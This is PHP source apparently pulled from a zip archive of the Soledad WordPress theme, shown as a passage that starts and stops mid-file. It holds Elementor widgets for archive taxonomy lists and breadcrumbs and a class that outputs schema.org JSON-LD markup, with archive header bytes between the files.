	}

	public function get_categories() {
		return array( 'penci-custom-archive-builder' );
	}

	public function get_keywords() {
		return array( 'archive', 'taxonomies' );
	}

	protected function get_html_wrapper_class() {
		return 'pcab-txnm elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-archive-taxonomies';
	}

	protected function register_controls() {

		$this->start_controls_section(
			'content_section',
			array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'tax_showall',
			array(
				'label'   => esc_html__( 'Term Listing', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'all',
				'options' => array(
					'all'    => 'All Items',
					'child'  => 'Child Items',
					'custom' => 'Custom Items',
				),
			)
		);

		$this->add_control(
			'taxonomies',
			array(
				'label'       => esc_html__( 'Select the Post Taxonomies Term.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => get_object_taxonomies( 'post' ),
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array(
					'tax_showall' => 'custom',
				),
			)
		);

		$this->add_control(
			'taxonomies_ex',
			array(
				'label'       => esc_html__( 'Select the Excluded Post Taxonomies Term.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => get_object_taxonomies( 'post' ),
				'multiple'    => true,
				'label_block' => true,
			)
		);

		$this->add_control(
			'term_style',
			array(
				'label'   => 'Display Style',
				'type'    => Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1' => 'Style 1',
					's2' => 'Style 2',
					's3' => 'Style 3',
					's4' => 'Style 4',
				),
			)
		);

		$this->add_control(
			'term_align',
			array(
				'label'       => 'Align',
				'default'     => 'left',
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'   => array(
					'{{WRAPPER}} .pctmp-term-list' => 'text-align: {{VALUE}};',
				),
				'render_type' => 'template',
			)
		);

		$this->add_control(
			'orderby',
			array(
				'label'     => esc_html__( 'Order By', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'name',
				'options'   => array(
					'name'       => 'Name',
					'slug'       => 'Slug',
					'term_id'    => 'ID',
					'term_order' => 'Term Order',
					'count'      => 'Term Count',
					'rand'       => 'Random',
				),
				'condition' => array(
					'tax_showall!' => 'custom',
				),
			)
		);

		$this->add_control(
			'order',
			array(
				'label'     => esc_html__( 'Order', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'ASC',
				'options'   => array(
					'DESC' => 'DESC',
					'ASC'  => 'ASC',
				),
				'condition' => array(
					'tax_showall!' => 'custom',
				),
			)
		);

		$this->add_control(
			'number',
			array(
				'label'       => esc_html__( 'Limit Terms to Show', 'soledad' ),
				'description' => esc_html__( 'This option is visible on frontend only.', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'condition'   => array(
					'tax_showall!' => 'custom',
				),
			)
		);

		$this->add_control(
			'tax_currentitem',
			array(
				'label' => esc_html__( 'Activate Current Viewing Term?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->add_control(
			'tax_showcount',
			array(
				'label' => esc_html__( 'Show Posts Count', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'color_style',
			array(
				'label' => esc_html__( 'Color & Styles', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_responsive_control(
			'term_spacing',
			array(
				'label'     => 'Horizontal Space Between Items',
				'type'      => Controls_Manager::SLIDER,
				'selectors' => array(
					'{{WRAPPER}} .pctmp-term-list.pctaxleft li:not(:last-child)'   => 'margin-right:{{SIZE}}px',
					'{{WRAPPER}} .pctmp-term-list.pctaxright li:not(:first-child)' => 'margin-left:{{SIZE}}px',
					'{{WRAPPER}} .pctmp-term-list.pctaxcenter li'                  => 'margin-left:calc({{SIZE}}px/2);margin-right:calc({{SIZE}}px/2)',
					'{{WRAPPER}} .pctmp-term-list li .pctmp-term-item'             => 'margin-right:0;margin-left:0;--pctmp-term-list:{{SIZE}}px',
				),
			)
		);

		$this->add_responsive_control(
			'term_vspacing',
			array(
				'label'     => 'Vertical Space Between Items',
				'type'      => Controls_Manager::SLIDER,
				'selectors' => array(
					'{{WRAPPER}} .pctmp-term-list li .pctmp-term-item' => 'margin-bottom:{{SIZE}}px;',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'term_typo',
				'label'    => __( 'Typography for Term', 'soledad' ),
				'selector' => '{{WRAPPER}} .pctmp-term-item',
			)
		);

		$this->add_control(
			'term_color',
			array(
				'label'     => 'Term Color',
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_hcolor',
			array(
				'label'     => 'Term Hover & Active Color',
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pctmp-term-item:hover,{{WRAPPER}} a.pctmp-term-item.current-item' => 'color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bgcolor',
			array(
				'label'     => 'Term Background Color',
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'background-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bghcolor',
			array(
				'label'     => 'Term Background Hover & Active Color',
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pctmp-term-item:hover,{{WRAPPER}} a.pctmp-term-item.current-item' => 'background-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bcolor',
			array(
				'label'     => 'Term Borders Color',
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'border-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bhcolor',
			array(
				'label'     => 'Term Borders Hover & Active Color',
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pctmp-term-item:hover,{{WRAPPER}} a.pctmp-term-item.current-item' => 'border-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_padding',
			array(
				'label'      => 'Term Item Padding',
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pctmp-term-item' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'term_border',
			array(
				'label'      => 'Term Item Border',
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pctmp-term-item' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'term_border_style',
			array(
				'label'     => 'Term Borders Style',
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					'dotted' => 'Dotted',
					'dashed' => 'Dashed',
					'solid'  => 'Solid',
					'double' => 'Double',
					'groove' => 'Groove',
					'ridge'  => 'Ridge',
					'inset'  => 'Inset',
					'outset' => 'Outset',
				),
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'border-style:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_border_radius',
			array(
				'label'      => 'Term Item Borders Radius',
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pctmp-term-item' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->end_controls_section();
	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}
	}

	protected function preview_content() {
		$settings   = $this->get_settings();
		$term_style = $settings['term_style'];
		$taxonomies = $settings['taxonomies'];
		$class      = isset( $settings['term_align'] ) && $settings['term_align'] ? 'pctax' . $settings['term_align'] : 'pctaxleft';
		$count      = '';
		$demo_lists = array(
			'Sport',
			'Football',
			'Tennis',
			'Volleyball',
			'Joke',
		);
		if ( $settings['tax_showall'] == 'custom' && ! empty( $taxonomies ) ) {
			?>
			<div class="pc-tax-lists">
				<ul class="pctmp-term-list term-style-<?php echo esc_attr( $term_style . ' ' . $class ); ?>">
					<?php
					foreach ( $taxonomies as $term_id ) {
						$term = get_term( $term_id );
						if ( $settings['tax_showcount'] ) {
							$count = '<span class="count">(' . $term->count . ')</span>';
						}
						echo '<li><a class="pctmp-term-item" href="' . get_term_link( $term->term_id ) . '">' . esc_html( $term->name ) . $count . '</a></li>';
					}
					?>
				</ul>
			</div>
			<?php
		} else {
			?>
			<div class="pc-tax-lists">
				<ul class="pctmp-term-list term-style-<?php echo esc_attr( $term_style . ' ' . $class ); ?>">
					<?php
					foreach ( $demo_lists as $list ) {
						if ( $settings['tax_showcount'] ) {
							$count = '<span class="count">(' . rand( 0, 99 ) . ')</span>';
						}
						echo '<li><a class="pctmp-term-item" href="#">' . $list . $count . '</a></li>';
					}
					?>
				</ul>
			</div>
			<?php
		}
	}

	protected function builder_content() {
		$settings   = $this->get_settings();
		$term_style = $settings['term_style'];
		$taxonomies = $settings['taxonomies'];
		$queries    = get_queried_object();
		$class      = isset( $settings['term_align'] ) && $settings['term_align'] ? 'pctax' . $settings['term_align'] : 'pctaxleft';
		$count      = '';
		if ( ! isset( $queries->taxonomy ) || ( $settings['tax_showall'] == 'custom' && empty( $taxonomies ) ) ) {
			return false;
		}

		$args = array(
			'taxonomy' => $queries->taxonomy,
			'orderby'  => $settings['orderby'],
			'order'    => $settings['order'],
		);

		if ( $settings['taxonomies_ex'] ) {
			$args['exclude'] = $settings['taxonomies_ex'];
		}

		if ( $settings['number'] && 'rand' != $settings['orderby'] ) {
			$args['number'] = $settings['number'];
		}

		if ( $settings['tax_showall'] == 'child' ) {
			$args['child_of'] = $queries->term_id;
		}

		$term_data    = get_queried_object();
		$current_term = ! empty( $term_data ) && isset( $term_data->term_id ) && $term_data->term_id ? $term_data->term_id : '';

		$terms = get_terms( $args );
		if ( $terms && $settings['tax_showall'] !== 'custom' ) {

			if ( 'rand' == $settings['orderby'] ) {
				shuffle( $terms );
			}

			?>
			<div class="pc-tax-lists">
				<ul class="pctmp-term-list term-style-<?php echo esc_attr( $term_style . ' ' . $class ); ?>">
					<?php
					$t_count = 0;
					foreach ( $terms as $term ) {
						$prefix_class = 'category' == $term->taxonomy ? 'cat' : esc_attr( $term->taxonomy );
						$class        = 'penci-' . $prefix_class . '-name penci-' . $prefix_class . '-' . $term->slug . ' penci-' . $prefix_class . '-' . $term->term_id;

						if ( $t_count++ == $settings['number'] && 'rand' == $settings['orderby'] ) {
							break;
						}
						if ( $settings['tax_showcount'] ) {
							$count = '<span class="count">(' . $term->count . ')</span>';
						}
						if ( $term->term_id == $current_term && 'yes' == $settings['tax_currentitem'] ) {
							$class .= ' current-item';
						}
						echo '<li><a class="pctmp-term-item ' . $class . '" href="' . get_term_link( $term->term_id ) . '">' . esc_html( $term->name ) . $count . '</a></li>';
					}
					?>
				</ul>
			</div>
			<?php
		} elseif ( $settings['tax_showall'] == 'custom' && ! empty( $taxonomies ) ) {
			?>
			<div class="pc-tax-lists">
				<ul class="pctmp-term-list term-style-<?php echo esc_attr( $term_style . ' ' . $class ); ?>">
					<?php
					foreach ( $taxonomies as $term_id ) {
						$term         = get_term( $term_id );
						$prefix_class = 'category' == $term->taxonomy ? 'cat' : esc_attr( $term->taxonomy );
						$class        = 'penci-' . $prefix_class . '-name penci-' . $prefix_class . '-' . $term->slug . ' penci-' . $prefix_class . '-' . $term->term_id;
						if ( $settings['tax_showcount'] ) {
							$count = '<span class="count">(' . $term->count . ')</span>';
						}
						if ( $term->term_id == $current_term && 'yes' == $settings['tax_currentitem'] ) {
							$class .= ' current-item';
						}
						echo '<li><a class="pctmp-term-item ' . $class . '" href="' . get_term_link( $term->term_id ) . '">' . esc_html( $term->name ) . $count . '</a></li>';
					}
					?>
				</ul>
			</div>
			<?php
		}
	}
}
PK     2w\:l   l   0  template-builder/archive-elements/breadcrumb.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciArchiveBreadcrumb extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Archive - Breadcrumb', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-navigation-horizontal';
	}

	public function get_categories() {
		return [ 'penci-custom-archive-builder' ];
	}

	public function get_keywords() {
		return [ 'archive', 'breadcrumb' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcab-abrcrb elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-archive-breadcrumb';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'breadcrumb_align', [
			'label'     => __( 'Breadcrumb Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb' => 'text-align:{{VALUE}}' ],
		] );

		$this->end_controls_section();


		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'breadcrumb-typo',
			'label'    => __( 'Typography for BreadCrumb', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-breadcrumb,{{WRAPPER}} .penci-breadcrumb *',
		) );

		$this->add_control( 'breadcrumb-t-color', [
			'label'     => 'BreadCrumb Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb,{{WRAPPER}} .penci-breadcrumb span,{{WRAPPER}} .penci-breadcrumb i,{{WRAPPER}} .penci-breadcrumb a' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'breadcrumb-l-hcolor', [
			'label'     => 'BreadCrumb Text Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb a:hover' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'breadcrumb-spacing', [
			'label'     => 'BreadCrumb Spacing',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
			'selectors' => [ '{{WRAPPER}} .container.penci-breadcrumb i,{{WRAPPER}} .container.penci-breadcrumb span.separator' => 'margin-left:{{SIZE}}px;margin-right:calc({{SIZE}}px - 4px)' ],
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( is_category() ) {
			$this->builder_category_content();
		} elseif ( is_tag() ) {
			$this->builder_tag_content();
		} else {
			$this->builder_archive_content();
		}

	}

	protected function builder_category_content() {
		$settings          = $this->get_settings();
		$sidebar_position  = penci_get_sidebar_position_archive();
		$two_sidebar_class = '';
		if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;
		$yoast_breadcrumb = $rm_breadcrumb = '';

		$category_oj = get_queried_object();
		$fea_cat_id  = $category_oj->term_id;

		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-crumb-inside penci-breadcrumb' . $two_sidebar_class . '">', '</div>', false );
		}

		if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
			$rm_breadcrumb = rank_math_get_breadcrumbs( [
				'wrap_before' => '<div class="container penci-crumb-inside penci-breadcrumb' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
				'wrap_after'  => '</nav></div>',
			] );
		}

		if ( $rm_breadcrumb ) {
			echo $rm_breadcrumb;
		} elseif ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else { ?>
            <div class="container penci-crumb-inside penci-breadcrumb<?php echo $two_sidebar_class; ?>">
            <span><a class="crumb"
                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
				<?php
				$parent_ID = penci_get_category_parent_id( $fea_cat_id );
				if ( $parent_ID ):
					echo penci_get_category_parents( $parent_ID );
				endif;
				?>
                <span><?php single_cat_title( '', true ); ?></span>
            </div>
		<?php }
	}

	protected function builder_tag_content() {
		$sidebar_position  = penci_get_sidebar_position_archive();
		$two_sidebar_class = '';
		if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;
		$yoast_breadcrumb = $rm_breadcrumb = '';
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '">', '</div>', false );
		}

		if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
			$rm_breadcrumb = rank_math_get_breadcrumbs( [
				'wrap_before' => '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
				'wrap_after'  => '</nav></div>',
			] );
		}

		if ( $rm_breadcrumb ) {
			echo $rm_breadcrumb;
		} elseif ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else { ?>
            <div class="container penci-breadcrumb penci-crumb-inside<?php echo $two_sidebar_class; ?>">
                            <span><a class="crumb"
                                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
                <span><?php echo penci_get_setting( 'penci_trans_tags' ); ?></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
                <span><?php printf( penci_get_setting( 'penci_trans_posts_tagged' ) . ' "%s"', single_tag_title( '', false ) ); ?></span>
            </div>
		<?php }
	}

	protected function builder_archive_content() {
		$sidebar_position  = penci_get_sidebar_position_archive();
		$two_sidebar_class = '';
		if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;
		$yoast_breadcrumb = $rm_breadcrumb = '';
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '">', '</div>', false );
		}
		if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
			$rm_breadcrumb = rank_math_get_breadcrumbs( [
				'wrap_before' => '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
				'wrap_after'  => '</nav></div>',
			] );
		}
		if ( $rm_breadcrumb ) {
			echo $rm_breadcrumb;
		} elseif ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else { ?>
            <div class="container penci-breadcrumb penci-crumb-inside">
                            <span><a class="crumb"
                                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
				<?php
				echo '<span>';
				echo penci_get_setting( 'penci_trans_archives' );
				echo '</span>';
				?>
            </div>
		<?php }
	}

	protected function preview_content() {
		$settings    = $this->get_settings();
		$heading_tag = $settings['heading_markup'];
		?>
        <div class="archive-box">
            <div class="title-bar">
                <<?php echo $heading_tag; ?> class="page-title">
				<?php _e( 'General Archive Title', 'soledad' ); ?>
            </<?php echo $heading_tag; ?>>
        </div>
        </div>
		<?php
	}
}
PK     2w\ʝI  I    json-schema-validar.phpnu [        <?php
if ( ! class_exists( 'Penci_JSON_Schema_Validator' ) ) {

	/**
	 * JSON Schema object
	 *
	 * Class Penci_JSON_Schema_Validator
	 */
	class Penci_JSON_Schema_Validator {

		function __construct() {
			add_action( 'wp_head', array( $this, 'output_schema' ) );
		}

		public static function pre_data_schema() {
			$data = array();
			if ( ! get_theme_mod( 'penci_schema_organization' ) ) {
				$data['organization'] = self::generate_data();
			}
			if ( ! get_theme_mod( 'penci_schema_website' ) ) {
				$data['website'] = self::website_data();
			}

			if ( is_singular() && ! is_front_page() && ! get_theme_mod( 'penci_schema_single' ) ) {

				if ( is_page() ) {
					$data['page'] = self::page_data();
				} elseif ( function_exists( 'is_product' ) && is_product() ) {
					$data['product'] = self::product_data();
				} else {
					$data['single'] = self::single_data();
				}
			}

			$yoast_bread_enabled = current_theme_supports( 'yoast-seo-breadcrumbs' );
			$breadcrumbs_enabled = false;
			if ( ! $yoast_bread_enabled && class_exists( 'WPSEO_Options' ) ) {
				if ( defined( 'WPSEO_PREMIUM_PLUGIN_FILE' ) ) {
					$options = get_option( 'wpseo_internallinks' );
					if ( isset( $options['breadcrumbs-enable'] ) && $options['breadcrumbs-enable'] == true ) {
						$breadcrumbs_enabled = true;
					}
				} elseif ( method_exists( 'WPSEO_Options', 'get' ) && is_callable( array( 'WPSEO_Options', 'get' ) ) ) {
					$breadcrumbs_enabled = WPSEO_Options::get( 'breadcrumbs-enable', false );
				}
			}

			if ( ! is_front_page() && ! $breadcrumbs_enabled && ! get_theme_mod( 'penci_schema_breadcrumbs' ) ) {
				$data['BreadcrumbList'] = self::BreadcrumbList_data();
			}

			if ( is_singular( 'post' ) && get_theme_mod( 'penci_post_use_newsarticle' ) ) {
				$data['NewsArticle'] = self::newsarticle_data();
			}

			return $data;
		}

		/**
		 * Outut schema with data each element
		 */
		public static function output_schema() {

			$pre_data_schema = self::pre_data_schema();

			if ( ! empty( $pre_data_schema ) ) {
				foreach ( $pre_data_schema as $json ) {
					echo '<script type="application/ld+json">' . wp_json_encode( $json, JSON_PRETTY_PRINT ) . '</script>';
				}
			}
		}

		/**
		 * Organization Schema
		 *
		 * @return array
		 */
		public static function generate_data() {

			$data_logo = '';
			$url_logo  = self::get_url_logo();
			if ( $url_logo ) {
				$data_logo = array(
					'@type' => 'ImageObject',
					'url'   => $url_logo,
				);
			}

			return array(
				'@context'    => 'https://schema.org/',
				'@type'       => 'organization',
				'@id'         => '#organization',
				'logo'        => $data_logo,
				'url'         => home_url( '/' ),
				'name'        => get_bloginfo( 'name' ),
				'description' => esc_attr( get_bloginfo( 'description' ) ),
			);
		}

		/**
		 * WebSite schema
		 *
		 * @return array
		 */
		public static function website_data() {
			$data = array(
				'@context'      => 'https://schema.org/',
				'@type'         => 'WebSite',
				'name'          => esc_attr( get_bloginfo( 'name' ) ),
				'alternateName' => esc_attr( get_bloginfo( 'description' ) ),
				'url'           => home_url( '/' ),
			);

			if ( is_home() || is_front_page() ) {
				$data['potentialAction'] = array(
					'@type'       => 'SearchAction',
					'target'      => get_search_link() . '{search_term}',
					'query-input' => 'required name=search_term',
				);
			}

			return $data;
		}

		public static function single_data() {
			return self::singular_data();
		}

		public static function page_data() {
			return self::singular_data( 'WebPage' );
		}

		public static function product_data() {
			$product       = wc_get_product();
			$schema_markup = self::singular_data( 'Product' );

			$schema_markup['name']           = isset( $schema_markup['headline'] ) ? $schema_markup['headline'] : '';
			$schema_markup['brand']          = isset( $schema_markup['publisher'] ) ? $schema_markup['publisher'] : '';
			$schema_markup['productionDate'] = isset( $schema_markup['datePublished'] ) ? $schema_markup['datePublished'] : '';

			$rating = $product->get_rating_count();

			if ( $rating ) {
				$schema_markup['aggregateRating'] = array(
					'@type'       => 'AggregateRating',
					'ratingValue' => wc_format_decimal( $product->get_average_rating(), 2 ),
					'reviewCount' => intval( $rating ),
				);
			}

			$schema_markup['offers'] = array(
				'@type'         => 'Offer',
				'url'           => get_the_permalink(),
				'priceCurrency' => get_woocommerce_currency(),
				'price'         => $product->get_price(),
				'availability'  => 'https://schema.org/' . ( $product->is_in_stock() ? 'InStock' : 'OutOfStock' ),
			);

			unset( $schema_markup['headline'] );
			unset( $schema_markup['datePublished'] );
			unset( $schema_markup['datemodified'] );
			unset( $schema_markup['publisher'] );
			unset( $schema_markup['author'] );

			return $schema_markup;
		}

		public static function newsarticle_data() {
			global $post;

			$post_id   = isset( $post->ID ) ? $post->ID : '';
			$permalink = get_permalink( $post_id );

			$post_title     = isset( $post->post_title ) ? $post->post_title : '';
			$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
			$post_excerpt   = ! get_theme_mod( 'penci_excerptcharac' ) ? get_the_excerpt() : penci_get_the_excerpt( null, $excerpt_length );

			$featured_image   = wp_get_attachment_image_src( get_post_thumbnail_id(), 'full' );
			$featured_image_0 = isset( $featured_image[0] ) ? $featured_image[0] : penci_get_default_thumbnail_url();

			$schema_markup = array(
				'@context'         => 'https://schema.org',
				'@type'            => 'NewsArticle',
				'headline'         => $post_title,
				'image'            => $featured_image_0,
				'datePublished'    => get_the_date(DATE_W3C),
				'datemodified'     => get_the_modified_date(DATE_W3C),
				'description'      => $post_excerpt,
				'mainEntityOfPage' => $permalink,
			);

			// publisher
			$schema_markup['publisher'] = array(
				'@type' => 'Organization',
				'name'  => esc_attr( get_bloginfo( 'name' ) ),
			);

			$url_logo = self::get_url_logo();
			if ( $url_logo ) {
				$schema_markup['publisher']['logo'] = array(
					'@type' => 'ImageObject',
					'url'   => $url_logo,
				);
			}

			// Author
			$post_author = isset( $post->post_author ) ? $post->post_author : '';
			$author      = get_the_author_meta( 'display_name', $post_author );
			$author_url  = get_author_posts_url( get_the_author_meta( 'ID', $post_author ) );
			if ( $author ) {
				$schema_markup['author'] = array(
					'@type' => 'Person',
					'@id'   => '#person-' . sanitize_html_class( $author ),
					'name'  => $author,
					'url'   => $author_url,
				);
			}

			$schema_return = apply_filters( 'soledad_schema', $schema_markup );

			return $schema_return;
		}

		public static function singular_data( $type = '', $args = array() ) {
			global $post;

			if ( ! $type ) {
				$type = 'BlogPosting';
			}

			$post_id   = isset( $post->ID ) ? $post->ID : '';
			$permalink = get_permalink( $post_id );

			$post_title     = isset( $post->post_title ) ? $post->post_title : '';
			$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
			$post_excerpt   = ! get_theme_mod( 'penci_excerptcharac' ) ? get_the_excerpt() : penci_get_the_excerpt( null, $excerpt_length );
			$post_excerpt   = $post_excerpt ? $post_excerpt : $post_title;
			$post_type      = isset( $post->post_type ) ? $post->post_type : '';

			$schema_markup = array(
				'@context'         => 'https://schema.org/',
				'@type'            => $type,
				'headline'         => $post_title,
				'description'      => $post_excerpt,
				'datePublished'    => get_the_date(DATE_W3C),
				'datemodified'     => get_the_modified_date(DATE_W3C),
				'mainEntityOfPage' => $permalink,
			);

			// Featured img
			$featured_image   = wp_get_attachment_image_src( get_post_thumbnail_id(), 'full' );
			$featured_image_0 = isset( $featured_image[0] ) ? $featured_image[0] : penci_get_default_thumbnail_url();
			if ( $featured_image_0 ) {
				$schema_markup['image'] = array(
					'@type' => 'ImageObject',
					'url'   => $featured_image_0,
				);

				$featured_image_width  = isset( $featured_image[1] ) ? $featured_image[1] : '';
				$featured_image_height = isset( $featured_image[2] ) ? $featured_image[2] : '';

				if ( $featured_image_width && $featured_image_height ) {
					$schema_markup['image']['width']  = $featured_image_width;
					$schema_markup['image']['height'] = $featured_image_height;
				}
			}

			// publisher
			$schema_markup['publisher'] = array(
				'@type' => 'Organization',
				'name'  => esc_attr( get_bloginfo( 'name' ) ),
			);

			$url_logo = self::get_url_logo();
			if ( $url_logo ) {
				$schema_markup['publisher']['logo'] = array(
					'@type' => 'ImageObject',
					'url'   => $url_logo,
				);
			}

			// Author
			$post_author = isset( $post->post_author ) ? $post->post_author : '';
			$author      = get_the_author_meta( 'display_name', $post_author );
			$author_url  = get_author_posts_url( get_the_author_meta( 'ID', $post_author ) );
			if ( $author ) {
				$schema_markup['author'] = array(
					'@type' => 'Person',
					'@id'   => '#person-' . sanitize_html_class( $author ),
					'name'  => $author,
					'url'   => $author_url,
				);
			}

			// Post format
			if ( 'post' == $post_type ) {
				$format = get_post_format();

				if ( 'video' == $format ) {
					$schema_markup['@type'] = 'VideoObject';

					$video = get_post_meta( $post_id, '_format_video_embed', true );

					if ( ! wp_oembed_get( $video ) ) {
						$schema_markup['contentUrl'] = $video;
					}

					$schema_markup['name']         = isset( $schema_markup['headline'] ) ? $schema_markup['headline'] : '';
					$schema_markup['thumbnailUrl'] = isset( $schema_markup['image']['url'] ) ? $schema_markup['image']['url'] : '';
					$schema_markup['uploadDate']   = isset( $schema_markup['datePublished'] ) ? $schema_markup['datePublished'] : '';

					unset( $schema_markup['headline'] );
					unset( $schema_markup['datePublished'] );
					unset( $schema_markup['dateModified'] );
